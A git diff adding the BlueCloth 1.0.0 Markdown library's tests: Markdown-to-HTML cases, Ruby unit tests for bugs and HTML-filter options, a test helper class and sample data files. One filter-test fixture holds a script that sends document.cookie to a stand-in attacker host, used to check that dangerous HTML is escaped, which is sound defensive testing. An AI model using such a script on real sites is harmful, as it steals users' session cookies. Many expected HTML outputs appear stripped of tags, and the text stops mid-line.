    +>>> + +# Two instances of underscore emphasis on one line +<<< +If there's _two_ underbarred parts on a _single line_ it should still work. +--- Should become: +

    If there's two underbarred parts on a single line it should still work.

    +>>> + +# Two instances of doubled underscore emphasis on one line +<<< +This __doubled__ one should __work too__. +--- Should become: +

    This doubled one should work too.

    +>>> + +# Initial emphasis (asterisk) +<<< +*Something* like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial emphasis (underscore) +<<< +_Something_ like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial strong emphasis (asterisk) +<<< +**Something** like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial strong emphasis (underscore) +<<< +__Something__ like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Partial-word emphasis (Bug #568) +<<< +**E**xtended **TURN** +--- Should become: +

    Extended TURN

    +>>> + + + +### [Links] + +# Inline link, no title +<<< +An [example](http://url.com/). +--- Should become: +

    An example.

    +>>> + +# Inline link with title +<<< +An [example](http://url.com/ "Check out url.com!"). +--- Should become: +

    An example.

    +>>> + +# Reference-style link, no title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with quoted title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air." +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with paren title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ (Check out our air.) +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with one of each (hehe) +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air.) +--- Should become: +

    An example reference-style link.

    +>>> + +" <- For syntax highlighting + +# Reference-style link with intervening space +<<< +You can split the [linked part] [ex] from +the reference part with a single space. + +[ex]: http://www.treefrog.com/ "for some reason" +--- Should become: +

    You can split the linked part from +the reference part with a single space.

    +>>> + +# Reference-style link with intervening space +<<< +You can split the [linked part] + [ex] from the reference part +with a newline in case your editor wraps it there, I guess. + +[ex]: http://www.treefrog.com/ +--- Should become: +

    You can split the linked part from the reference part +with a newline in case your editor wraps it there, I guess.

    +>>> + +# Reference-style anchors +<<< +I get 10 times more traffic from [Google] [1] than from +[Yahoo] [2] or [MSN] [3]. + + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" +--- Should become: +

    I get 10 times more traffic from Google than from +Yahoo or MSN.

    +>>> + +# Implicit name-link shortcut anchors +<<< +I get 10 times more traffic from [Google][] than from +[Yahoo][] or [MSN][]. + + [google]: http://google.com/ "Google" + [yahoo]: http://search.yahoo.com/ "Yahoo Search" + [msn]: http://search.msn.com/ "MSN Search" +--- Should become: +

    I get 10 times more traffic from Google than from +Yahoo or MSN.

    +>>> + +# Inline anchors +<<< +I get 10 times more traffic from [Google](http://google.com/ "Google") +than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or +[MSN](http://search.msn.com/ "MSN Search"). +--- Should become: +

    I get 10 times more traffic from Google +than from Yahoo or +MSN.

    +>>> + +# Graceful fail for unclosed brackets (and bug #524) +<<< +This is just a [bracket opener; it should fail gracefully. +--- Should become: +

    This is just a [bracket opener; it should fail gracefully.

    +>>> + +# Unresolved reference-style links (Bug #620) +<<< +This is an unresolved [url][1]. +--- Should become: +

    This is an unresolved [url][1].

    +>>> + + +### [Auto-links] + +# Plain HTTP link +<<< +This is a reference to . You should follow it. +--- Should become: +

    This is a reference to http://www.FaerieMUD.org/. You should follow it.

    +>>> + +# FTP link +<<< +Why not download your very own chandelier from ? +--- Should become: +

    Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?

    +>>> + + +### [Lists] + +# Unordered list +<<< +* Red +* Green +* Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/alt bullets +<<< +- Red +- Green +- Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/alt bullets 2 +<<< ++ Red ++ Green ++ Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/mixed bullets +<<< ++ Red +- Green +* Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Ordered list +<<< +1. Bird +2. McHale +3. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Ordered list, any numbers +<<< +1. Bird +1. McHale +1. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Ordered list, any numbers 2 +<<< +3. Bird +1. McHale +8. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Hanging indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. + Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, + viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. + Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
    • +
    +>>> + +# Lazy indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
    • +
    +>>> + +# Paragraph wrapped list items +<<< +* Bird + +* Magic +--- Should become: +
      +
    • Bird

    • +
    • Magic

    • +
    +>>> + +# Multi-paragraph list items +<<< +1. This is a list item with two paragraphs. Lorem ipsum dolor + sit amet, consectetuer adipiscing elit. Aliquam hendrerit + mi posuere lectus. + + Vestibulum enim wisi, viverra nec, fringilla in, laoreet + vitae, risus. Donec sit amet nisl. Aliquam semper ipsum + sit amet velit. + +2. Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    1. This is a list item with two paragraphs. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. Aliquam hendrerit +mi posuere lectus.

      + +

      Vestibulum enim wisi, viverra nec, fringilla in, laoreet +vitae, risus. Donec sit amet nisl. Aliquam semper ipsum +sit amet velit.

    2. +
    3. Suspendisse id sem consectetuer libero luctus adipiscing.

    4. +
    +>>> + +# Lazy multi-paragraphs +<<< +* This is a list item with two paragraphs. + + This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. + +* Another item in the same list. +--- Should become: +
      +
    • This is a list item with two paragraphs.

      + +

      This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit.

    • +
    • Another item in the same list.

    • +
    +>>> + +# Blockquote in list item +<<< +* A list item with a blockquote: + + > This is a blockquote + > inside a list item. +--- Should become: +
      +
    • A list item with a blockquote:

      + +
      +

      This is a blockquote + inside a list item.

      +
    • +
    +>>> + +# Code block in list item +<<< +* A list item with a code block: + + +--- Should become: +
      +
    • A list item with a code block:

      + +
      <code goes here>
      +
    • +
    +>>> + +# Backslash-escaped number-period-space +<<< +1986\. What a great season. +--- Should become: +

    1986. What a great season.

    +>>> + diff --git a/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb new file mode 100755 index 00000000..0ca746b4 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb @@ -0,0 +1,57 @@ +#!/usr/bin/ruby +# +# Unit test for bugs found in BlueCloth +# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +require 'timeout' + +### This test case tests ... +class BugsTestCase < BlueCloth::TestCase + BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) + + ### Test to be sure the README file can be transformed. + def test_00_slow_block_regex + contents = File::read( File::join(BaseDir,"README") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + timeout( 2 ) do + bcobj.to_html + end + } + end + + ### :TODO: Add more documents and test their transforms. + + def test_10_regexp_engine_overflow_bug + contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + + def test_15_regexp_engine_overflow_bug2 + contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + +end + + +__END__ + diff --git a/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb new file mode 100755 index 00000000..56af2d8b --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb @@ -0,0 +1,132 @@ +#!/usr/bin/ruby +# +# Unit test for contributed features +# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + + +### This test case tests ... +class ContribTestCase < BlueCloth::TestCase + + DangerousHtml = + "" + DangerousHtmlOutput = + "

    <script>document.location='http://www.hacktehplanet.com" + + "/cgi-bin/cookie.cgi?' + document.cookie</script>

    " + DangerousStylesOutput = + "" + NoLessThanHtml = "Foo is definitely > than bar" + NoLessThanOutput = "

    Foo is definitely > than bar

    " + + + ### HTML filter options contributed by Florian Gross. + + ### Test the :filter_html restriction + def test_10_filter_html + printTestHeader "filter_html Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + + # Test setting it in a sub-array + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_html] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + end + + + ### Test the :filter_styles restriction + def test_20_filter_styles + printTestHeader "filter_styles Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_styles ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + # Test setting it in a subarray + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + end + + + ### Test to be sure filtering when there's no opening angle brackets doesn't + ### die. + def test_30_filter_no_less_than + printTestHeader "filter without a less-than" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( NoLessThanHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + assert_nothing_raised { rval = bc.to_html } + assert_equal NoLessThanOutput, rval + end + + + +end + diff --git a/vendor/bluecloth-1.0.0/tests/bctestcase.rb b/vendor/bluecloth-1.0.0/tests/bctestcase.rb new file mode 100755 index 00000000..15a920f4 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/bctestcase.rb @@ -0,0 +1,274 @@ +#!/usr/bin/ruby +# +# This is an abstract test case class for building Test::Unit unit tests for the +# BlueCloth module. It consolidates most of the maintenance work that must be +# done to build a test file by adjusting the $LOAD_PATH appropriately, as well +# as adding some other useful methods that make building, maintaining, and using +# the tests for programming much easier (IMHO). See the docs for Test::Unit for +# more info on the particulars of unit testing. +# +# == Synopsis +# +# # Allow the test to be run from anywhere: +# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) +# basedir = File::dirname( __FILE__ ) +# require File::join( basedir, 'bctestcase' ) +# end +# +# class MySomethingTest < BlueCloth::TestCase +# def setup +# super() +# @foo = 'bar' +# end +# +# def test_00_something +# obj = nil +# assert_nothing_raised { obj = MySomething::new } +# assert_instance_of MySomething, obj +# assert_respond_to :myMethod, obj +# end +# +# end +# +# == Rcsid +# +# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# == Authors +# +# * Michael Granger +# +#:include: COPYRIGHT +# +#--- +# +# Please see the file COPYRIGHT in the 'docs' directory for licensing details. +# + +$DebugPattern ||= nil + +begin + basedir = File::dirname( File::dirname(__FILE__) ) + unless $LOAD_PATH.include?( "#{basedir}/lib" ) + $LOAD_PATH.unshift "#{basedir}/lib" + end +end + +require "test/unit" +require "bluecloth" + + +class BlueCloth + + ### The abstract base class for BlueCloth test cases. + class TestCase < Test::Unit::TestCase + + @methodCounter = 0 + @setupBlocks = [] + @teardownBlocks = [] + class << self + attr_accessor :methodCounter, :setupBlocks, :teardownBlocks + end + + + ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars + ### and accessors to the inheriting class. + def self::inherited( klass ) + klass.module_eval { + @setupBlocks = [] + @teardownBlocks = [] + + class << self + attr_accessor :setupBlocks, :teardownBlocks + end + } + klass.methodCounter = 0 + end + + + + ### Output the specified msgs joined together to + ### STDERR if $DEBUG is set. + def self::debugMsg( *msgs ) + return unless $DEBUG + self.message "DEBUG>>> %s" % msgs.join('') + end + + ### Output the specified msgs joined together to + ### STDOUT. + def self::message( *msgs ) + $stderr.puts msgs.join('') + $stderr.flush + end + + + ### Add a setup block for the current testcase + def self::addSetupBlock( &block ) + self.methodCounter += 1 + newMethodName = "setup_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.setupBlocks.push newMethodName + end + + ### Add a teardown block for the current testcase + def self::addTeardownBlock( &block ) + self.methodCounter += 1 + newMethodName = "teardown_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.teardownBlocks.unshift newMethodName + end + + + ############################################################# + ### I N S T A N C E M E T H O D S + ############################################################# + + ### A dummy test method to allow this Test::Unit::TestCase to be + ### subclassed without complaining about the lack of tests. + def test_0_dummy + end + + + ### Forward-compatibility method for namechange in Test::Unit + def setup( *args ) + self.class.setupBlocks.each {|sblock| + debugMsg "Calling setup block method #{sblock}" + self.send( sblock ) + } + super( *args ) + end + alias_method :set_up, :setup + + + ### Forward-compatibility method for namechange in Test::Unit + def teardown( *args ) + super( *args ) + self.class.teardownBlocks.each {|tblock| + debugMsg "Calling teardown block method #{tblock}" + self.send( tblock ) + } + end + alias_method :tear_down, :teardown + + + ### Skip the current step (called from #setup) with the +reason+ given. + def skip( reason=nil ) + if reason + msg = "Skipping %s: %s" % [ @method_name, reason ] + else + msg = "Skipping %s: No reason given." % @method_name + end + + $stderr.puts( msg ) if $VERBOSE + @method_name = :skipped_test + end + + + def skipped_test # :nodoc: + end + + + ### Add the specified +block+ to the code that gets executed by #setup. + def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end + + + ### Add the specified +block+ to the code that gets executed by #teardown. + def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end + + + ### Instance alias for the like-named class method. + def message( *msgs ) + self.class.message( *msgs ) + end + + + ### Instance alias for the like-named class method + def debugMsg( *msgs ) + self.class.debugMsg( *msgs ) + end + + + ### Output a separator line made up of length of the specified + ### char. + def writeLine( length=75, char="-" ) + $stderr.puts "\r" + (char * length ) + end + + + ### Output a header for delimiting tests + def printTestHeader( desc ) + return unless $VERBOSE || $DEBUG + message ">>> %s <<<" % desc + end + + + ### Try to force garbage collection to start. + def collectGarbage + a = [] + 1000.times { a << {} } + a = nil + GC.start + end + + + ### Output the name of the test as it's running if in verbose mode. + def run( result ) + $stderr.puts self.name if $VERBOSE || $DEBUG + + # Support debugging for individual tests + olddb = nil + if $DebugPattern && $DebugPattern =~ @method_name + olddb = $DEBUG + $DEBUG = true + end + + super + + $DEBUG = olddb unless olddb.nil? + end + + + ############################################################# + ### E X T R A A S S E R T I O N S + ############################################################# + + ### Negative of assert_respond_to + def assert_not_respond_to( obj, meth ) + msg = "%s expected NOT to respond to '%s'" % + [ obj.inspect, meth ] + assert_block( msg ) { + !obj.respond_to?( meth ) + } + end + + + ### Assert that the instance variable specified by +sym+ of an +object+ + ### is equal to the specified +value+. The '@' at the beginning of the + ### +sym+ will be prepended if not present. + def assert_ivar_equal( value, object, sym ) + sym = "@#{sym}".intern unless /^@/ =~ sym.to_s + msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" % + [ sym, object.inspect, value.inspect ] + msg += "\tbut was: <%s>" % object.instance_variable_get(sym) + assert_block( msg ) { + value == object.instance_variable_get(sym) + } + end + + + ### Assert that the specified +object+ has an instance variable which + ### matches the specified +sym+. The '@' at the beginning of the +sym+ + ### will be prepended if not present. + def assert_has_ivar( sym, object ) + sym = "@#{sym}" unless /^@/ =~ sym.to_s + msg = "Object <%s> expected to have an instance variable <%s>" % + [ object.inspect, sym ] + assert_block( msg ) { + object.instance_variables.include?( sym.to_s ) + } + end + + end # class TestCase + +end # class BlueCloth + diff --git a/vendor/bluecloth-1.0.0/tests/data/antsugar.txt b/vendor/bluecloth-1.0.0/tests/data/antsugar.txt new file mode 100755 index 00000000..629dda3e --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/data/antsugar.txt @@ -0,0 +1,34 @@ +The Ant-Sugar Tales +=================== + +By Candice Yellowflower + +The _Ant-Sugar Tales_ is a collection of short stories told from the +perspective of a fine young lady from [Venice][1], who has some run-ins +with a few [inquisitive insects][2]. Each tale presents a moral quandry, +which the ants are quick to solve with their antly wisdom and +know-how. Some of the moral lessons presented are: + +* Laundry: How not to get caught in soiled knickers. +* Used Ticket Stubs and Their Impact on the Universe +* I'm Keeping a Birdhouse in my Attic + +Use of Metaphor +--------------- + +The author's splended use of metaphor can be attributed to her growing +up in a art-supply store. Her characters are richly outlined, but her +unusual descriptions can sometimes be a bit jarring in places, such as +her description of the old caretaker that lives inside a hollow tree in +her yard: + +> His skin was smooth like Magnani Pescia 100% acid-free cold pressed +> 22x30" Soft White Paper, with fine hair like the bristles of a Habico +> Lasur Superb Oil Glazing Brush Size 10. + + + [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3 + (Venice: The Grand Canal) + [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html + + diff --git a/vendor/bluecloth-1.0.0/tests/data/ml-announce.txt b/vendor/bluecloth-1.0.0/tests/data/ml-announce.txt new file mode 100755 index 00000000..78a10186 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/data/ml-announce.txt @@ -0,0 +1,17 @@ +Hi, + +I'd like to announce the alpha release of a Markdown library for [Ruby][1] +called "BlueCloth". It's mostly a direct port of the most recent Perl version, +minus the various plugin hooks and whatnot. + +More information can be found on [the project page][2], or feel free to ask me +directly. I don't have much in the way of a demo yet, but will be working on +getting something set up in the coming days. + + [1]: http://www.ruby-lang.org/ + [2]: http://bluecloth.rubyforge.org/ + +-- +Michael Granger +Rubymage, Believer, Architect +The FaerieMUD Consortium diff --git a/vendor/bluecloth-1.0.0/tests/data/re-overflow.txt b/vendor/bluecloth-1.0.0/tests/data/re-overflow.txt new file mode 100755 index 00000000..f54e91e1 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/data/re-overflow.txt @@ -0,0 +1,67 @@ +* xx xxxxxxx xx xxxxxx. + +* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx: + + * xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx + xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx + xxx xx xxxxxxxxx xx xxxx. + + xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx + xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx. + + * xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx + xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx + xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx. + + xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx) + xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx + xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx. + + xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx + xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx, + xxxx xx xxxxxx xxx xxxx. + + * xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx + xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx + xxxxxx xxx-xxxx xxxxx. + + xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx. + +* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx + xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx + xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx + xx xxx xxxxxxxxx xxxx-xxx. + +* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx + xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx + xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx. + +* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx + xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx. + + x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx + xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx + xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx: + + * xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx + xxxxxxxxxx). + + * xxxxxxxxxxx xx xxxx xxxxxxx xxx. + + * xxxx xx xxxxx xxxxxxx xx xxx xxxxxx. + + * xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx. + + * xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx. + +* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx + xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx + xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx. + +* xx x xxxxx xxxx: + + * xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx, + xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx, + xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx + -- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx + xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx. diff --git a/vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt b/vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt new file mode 100755 index 00000000..cead3169 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt @@ -0,0 +1,281 @@ +iFotobilder will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto. + +## Getting Started + +Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this. + +Here's what I found: + +* [Writing Plugins for Cocoa][1] + +[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html + +## The iPhoto Export API + +Using the `class-dump` tool, I dumped the export API: + + /* + * Generated by class-dump 3.0. + * + * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard. + */ + + /* + * File: /Applications/iPhoto.app/Contents/MacOS/iPhoto + */ + + @protocol ExportImageProtocol + - (unsigned int)imageCount; + - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20; + - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; + - (unsigned int)imageFormatAtIndex:(unsigned int)fp16; + - (id)imageCaptionAtIndex:(unsigned int)fp16; + - (id)imagePathAtIndex:(unsigned int)fp16; + - (id)thumbnailPathAtIndex:(unsigned int)fp16; + - (id)imageDictionaryAtIndex:(unsigned int)fp16; + - (float)imageAspectRatioAtIndex:(unsigned int)fp16; + - (id)albumName; + - (id)albumMusicPath; + - (unsigned int)albumCount; + - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16; + - (id)window; + - (void)enableControls; + - (void)disableControls; + - (void)clickExport; + - (void)startExport; + - (void)cancelExport; + - (void)cancelExportBeforeBeginning; + - (id)directoryPath; + - (id)temporaryDirectory; + - (BOOL)doesFileExist:(id)fp16; + - (BOOL)doesDirectoryExist:(id)fp16; + - (BOOL)createDir:(id)fp16; + - (id)uniqueSubPath:(id)fp12 child:(id)fp20; + - (id)makeUniquePath:(id)fp16; + - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20; + - (id)makeUniqueFileNameWithTime:(id)fp16; + - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20; + - (id)pathForFSSpec:(id)fp16; + - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27; + - (id)pathForFSRef:(struct FSRef *)fp16; + - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23; + - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23; + - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27; + - (BOOL)isAliasFileAtPath:(id)fp16; + - (id)pathContentOfAliasAtPath:(id)fp16; + - (id)stringByResolvingAliasesInPath:(id)fp16; + - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20; + - (id)validFilename:(id)fp16; + - (id)getExtensionForImageFormat:(unsigned int)fp16; + - (unsigned int)getImageFormatForExtension:(id)fp16; + - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32; + - (void *)createThumbnailer; + - (void *)retainThumbnailer:(void *)fp16; + - (void *)autoreleaseThumbnailer:(void *)fp16; + - (void)releaseThumbnailer:(void *)fp16; + - (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32; + - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 quality:(int)fp20; + - (int)thumbnailerQuality:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 rotation:(float)fp20; + - (float)thumbnailerRotation:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20; + - (unsigned int)thumbnailerOutputFormat:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20; + - (id)thumbnailerOutputExtension:(void *)fp16; + - (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28; + - (struct _NSSize)lastImageSize:(void *)fp20; + - (struct 